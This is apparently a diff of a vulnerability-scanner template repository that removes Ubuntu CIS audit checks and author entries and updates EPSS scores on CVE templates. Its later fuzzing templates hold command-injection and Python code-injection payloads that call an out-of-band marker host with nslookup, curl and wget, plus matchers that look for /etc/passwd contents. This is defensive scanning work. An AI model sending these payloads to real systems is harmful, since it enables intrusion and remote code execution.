-        else
-          echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
-id: gdm-disable-user-list-enabled-check
-
-info:
-  name: Ensure GDM disable-user-list Option is Enabled
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the GDM disable-user-list option is enabled.
-  remediation: |
-    Enable the `disable-user-list` option in GDM to prevent displaying the
-    list of local users on the login screen.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,login,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
-          echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
-        else
-          echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: gdm-login-banner-configured-check
-
-info:
-  name: Ensure GDM Login Banner is Configured
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the GDM login banner is enabled and configured.
-  remediation: |
-    Enable the GDM login banner and configure an appropriate warning message
-    according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
-        banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
-
-        if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
-          echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
-        else
-          echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
-id: gdm-removed-check
-
-info:
-  name: Ensure GDM is Removed
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the GNOME Display Manager (GDM) is installed.
-  remediation: |
-    Remove the GDM package if it is not required:
-      sudo apt remove gdm3 -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,gdm3,package,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s gdm3 &>/dev/null; then
-          echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
-        else
-          echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
-id: gdm-screen-lock-idle-check
-
-info:
-  name: Ensure GDM Screen Locks When the User is Idle
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the screen is configured to lock after a period of user inactivity.
-  remediation: |
-    Configure the screen lock settings to meet your organization's security policy:
-      - Set `lock-delay` to 5 seconds or less.
-      - Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
-        idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
-
-        if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
-           [ "$lock_delay" -le 5 ] && \
-           [ "$idle_delay" -gt 0 ] && \
-           [ "$idle_delay" -le 900 ]; then
-          echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
-        else
-          echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950
@@ -21,10 +21,7 @@ code:
        HOME_DIR=$(eval echo ~$user)
        find "$HOME_DIR" -maxdepth 1 -type f \
          \( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-          -exec ls -l {} \; | awk -v usr="$user" '{
-            if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
-            else print $0
-          }'
+          -exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
      done

    matchers:
@@ -39,5 +36,5 @@ code:
        name: invalid-owner
        part: response
        regex:
-          - "^INVALID_OWNER"
-# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
+          - "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
+# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
-id: issue-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/issue is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/issue has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/issue`:
-      sudo chown root:root /etc/issue
-      sudo chmod 644 /etc/issue
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        mode=$(stat -Lc "%a" /etc/issue)
-        uid=$(stat -Lc "%u" /etc/issue)
-        gid=$(stat -Lc "%g" /etc/issue)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
-id: issue-net-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/issue.net is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/issue.net has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/issue.net`:
-      sudo chown root:root /etc/issue.net
-      sudo chmod 644 /etc/issue.net
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue.net,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        mode=$(stat -Lc "%a" /etc/issue.net)
-        uid=$(stat -Lc "%u" /etc/issue.net)
-        gid=$(stat -Lc "%g" /etc/issue.net)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
-id: local-login-warning-banner-configured-check
-
-info:
-  name: Ensure Local Login Warning Banner is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the local login warning banner is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/issue` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details. Configure the
-    banner according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
-          echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: motd-configured-properly-check
-
-info:
-  name: Ensure Message of the Day is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the Message of the Day (MOTD) is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/motd` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,motd,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
-          echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
-id: motd-file-permissions-check
-
-info:
-  name: Ensure Access to /etc/motd is Configured
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether /etc/motd has secure ownership and permissions.
-  remediation: |
-    Set the ownership and permissions on `/etc/motd`:
-      sudo chown root:root /etc/motd
-      sudo chmod 644 /etc/motd
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,motd,permissions,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if [ ! -e /etc/motd ]; then
-          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
-          exit 0
-        fi
-
-        mode=$(stat -Lc "%a" /etc/motd)
-        uid=$(stat -Lc "%u" /etc/motd)
-        gid=$(stat -Lc "%g" /etc/motd)
-
-        if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
-          echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
-        else
-          echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: prelink-not-installed-check
-
-info:
-  name: Ensure Prelink is Not Installed
-  author: Th3l0newolf
-  severity: medium
-  description: |
-    This template checks whether the prelink package is installed.
-    Prelink modifies binaries to decrease application startup time, but it
-    interferes with file integrity monitoring and is not recommended on
-    secure systems.
-  remediation: |
-    Remove the prelink package if it is installed:
-      sudo apt remove prelink -y
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,prelink,package,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        if dpkg-query -s prelink &>/dev/null; then
-          echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
-        else
-          echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
-id: remote-login-warning-banner-configured-check
-
-info:
-  name: Ensure Remote Login Warning Banner is Configured Properly
-  author: Th3l0newolf
-  severity: low
-  description: |
-    This template checks whether the remote login warning banner is configured
-    without exposing system information.
-  remediation: |
-    Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
-    or version information that could disclose system details. Configure the
-    banner according to your organization's security policy.
-  reference:
-    - https://www.cisecurity.org/benchmark/ubuntu_linux
-  tags: cis,linux,ubuntu,issue.net,banner,audit
-  metadata:
-    verified: true
-
-self-contained: true
-
-code:
-  - engine:
-      - bash
-    args:
-      - "-c"
-      - |
-        os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
-
-        if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
-          echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
-        else
-          echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
-        fi
-
-    matchers:
-      - type: word
-        name: policy-pass
-        words:
-          - "Policy-Pass"
-
-      - type: word
-        name: policy-fail
-        words:
-          - "Policy-Fail"
-# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
  metadata:
    verified: true
    shodan-query: port:53
-  tags: dns,tcp,axfr,code,vuln
+  tags: dns,tcp,axfr,code

 code:
  - engine:
@@ -31,4 +31,4 @@ code:
        regex:
          - 'SOA\s+([^\s]+)'
        group: 1
-# digest: 4a0a004730450220729310e32ddaf376e205fe7202c209109d72fc732c11c480c2d0e76fcaa5ad3d022100e3ccab3824ce3028b6de37a92e77fc88aa98d5d8e6ae0ef6d8b061490e6ac218:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
@@ -1529,35 +1529,5 @@
            "website": "https://marcialpaulg.com",
            "email": "[email protected]"
        }
-    },
-    {
-        "author": "zer0p0int",
-        "links": {
-            "github": "https://github.com/zer0p0intvvv",
-            "twitter": "",
-            "linkedin": "",
-            "website": "",
-            "email": ""
-        }
-    },
-    {
-        "author": "Th3l0newolf",
-        "links": {
-            "github": "https://github.com/Th3l0newolf",
-            "twitter": "",
-            "linkedin": "",
-            "website": "",
-            "email": ""
-        }
-    },
-    {
-        "author": "sudo-a-man",
-        "links": {
-            "github": "https://github.com/sudo-a-man",
-            "twitter": "",
-            "linkedin": "",
-            "website": "",
-            "email": ""
-        }
    }
 ]
@@ -1 +1 @@
-f3990275d1c6fc2915600ac9e66904ac
+f41fb6aca06836485c29dcab0865f337
@@ -20,8 +20,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
-    epss-score: 0.96107
-    epss-percentile: 0.99877
+    epss-score: 0.9523
+    epss-percentile: 0.99855
  metadata:
    max-request: 1
    confidence: tenative
@@ -53,4 +53,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4a0a00473045022100cec69f18c3403fdedb7898860163b27e4ec8053b1d6927b22b2874f87578441d02203f371f170f236bef715c529b4eb258c9fcd6e18543da26d910aa74dd6f101c79:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
    epss-score: 0.22513
-    epss-percentile: 0.97717
+    epss-percentile: 0.97426
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    vendor: djangoproject
@@ -54,4 +54,4 @@ http:
          - "ORA-06512:"
          - "Request Method:"
        condition: and
-# digest: 4a0a0047304502200ea2e765c800bc0ba52ca06e3aa90997e41f4234bc15a589e148e204074f4b68022100c749edcb73d7d6e77919343992ef5147fdb1dd73b76546013aefaf740ebc8a78:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
@@ -20,11 +20,11 @@ info:
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
    epss-score: 0.44369
-    epss-percentile: 0.98766
+    epss-percentile: 0.98609
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
-  tags: cve,cve2021,django,sqli,dast,vuln
+  tags: cve,cve2021,django,sqli,dast

 variables:
  rand_string: '{{rand_text_alpha(10, "abc")}}'
@@ -66,4 +66,4 @@ http:
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
-# digest: 490a00463044022010ce473936f3fa1c9cd2ece935f7f2cf3be900b3a1eb86a3662c6e48a8f46e0a0220246c94e37361dfa8d2a44f4798111b063b3fe421a034628a006252d497262d70:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
    epss-score: 0.99977
-    epss-percentile: 0.99979
+    epss-percentile: 0.9998
  metadata:
    max-request: 1
    confidence: tenative
@@ -66,4 +66,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100b6ed1935cff5051003d99c6f19bcc8f1a999975bc7e3e9c5ac18f74bccb469ec022100842bffc0cbe807b3b39ad28a2f1e3a52a5fd8105a527b2ec81040e610a056adb:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.99638
-    epss-percentile: 0.99949
+    epss-score: 0.99677
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a00473045022076496a9f03da0eed88349cae19ffa2ddd4af8408ab680e2bcae232324574f847022100f3b62d62298ad2d4c82fcd43c3a1ec1ccf83082b3219d59d47678c2ee49549ef:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
-    epss-score: 0.73607
-    epss-percentile: 0.9947
+    epss-score: 0.73274
+    epss-percentile: 0.99392
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -50,4 +50,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022071a18418fa32da6b6452ef0ebcde066ae63ff4be8159c649e9ad41d60131de96022100ad106ee3f57d421557f098852c997f92cdab7774c2605c49fbe8823d6972d563:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
    epss-score: 0.99931
-    epss-percentile: 0.9997
+    epss-percentile: 0.99968
  metadata:
    max-request: 1
    confidence: tenative
@@ -70,4 +70,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 490a0046304402200bc343e45555582db438e4321e4e229cca83cac40704b73194f800b0f7f391b40220337abff5987d9bbf41f030325b1666552cd946ca94e31498ab79fa03bccab83b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
    epss-score: 0.8833
-    epss-percentile: 0.99771
+    epss-percentile: 0.99752
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a0047304502203cc146f11f2e115d795986b5518b2187e5b790281d595d333607a34e133746510221009081f17d57be2b7129eacf3198808e60555da8d98c8ed16700d93da9b68af336:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,7 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      payload:
        - "&nslookup {{marker}}&'\\\"`0&nslookup {{marker}}&`'"
@@ -32,9 +31,7 @@ http:
        - "$(ping -c 1 {{marker}} | nslookup {{marker}} ; wget {{marker}} -O /dev/null)"

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: postfix
        fuzz:
          - "{{payload}}"
@@ -50,4 +47,4 @@ http:
        part: interactsh_protocol
        words:
          - "http"
-# digest: 4b0a00483046022100ffa659b189fa15afd2deb641d4d7b3ad6fc998004693b214687229e64c044014022100a35d3b3c7ca81690c0c05e027ef0b95752a80e42a98e5902bb995e10d39e35b7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,7 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      injection:
        - eval(compile("""for x in range(1):\\n import os\\n os.popen(r'{{Command}}').read()""",'','single'))
@@ -36,9 +35,7 @@ http:
        - eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'{{Command}}',shell=True)""",'','single'))

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: replace
        fuzz:
          - "{{injection}}"
@@ -49,4 +46,4 @@ http:
        part: body
        regex:
          - 'root:.*:0:0:'
-# digest: 4b0a00483046022100cd9bba97f258c066f8503c51a37f32763c0c776da2023179cb9665d4e6c397d3022100b04ff58ead57ba70bb1b64bab48d1a4f591f5515215631baeecbbe96e621cf15:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
@@ -21,17 +21,14 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    stop-at-first-match: true
    payloads:
      interaction:
        - "|nslookup {{marker}}|curl {{marker}}"

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        fuzz:
          - "{{interaction}}"

@@ -40,4 +37,4 @@ http:
        part: interactsh_protocol
        words:
          - "dns"
-# digest: 4b0a00483046022100e0426452b9d9cfa0ff0ba648b26c60b3fbcc93a25174f502334d9693ddb5b41b0221008c11d287b5f6fc884922738abbf813b43201b6aede175b32f502fd4d2bd73419:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
@@ -19,16 +19,13 @@ http:
      - type: dsl
        dsl:
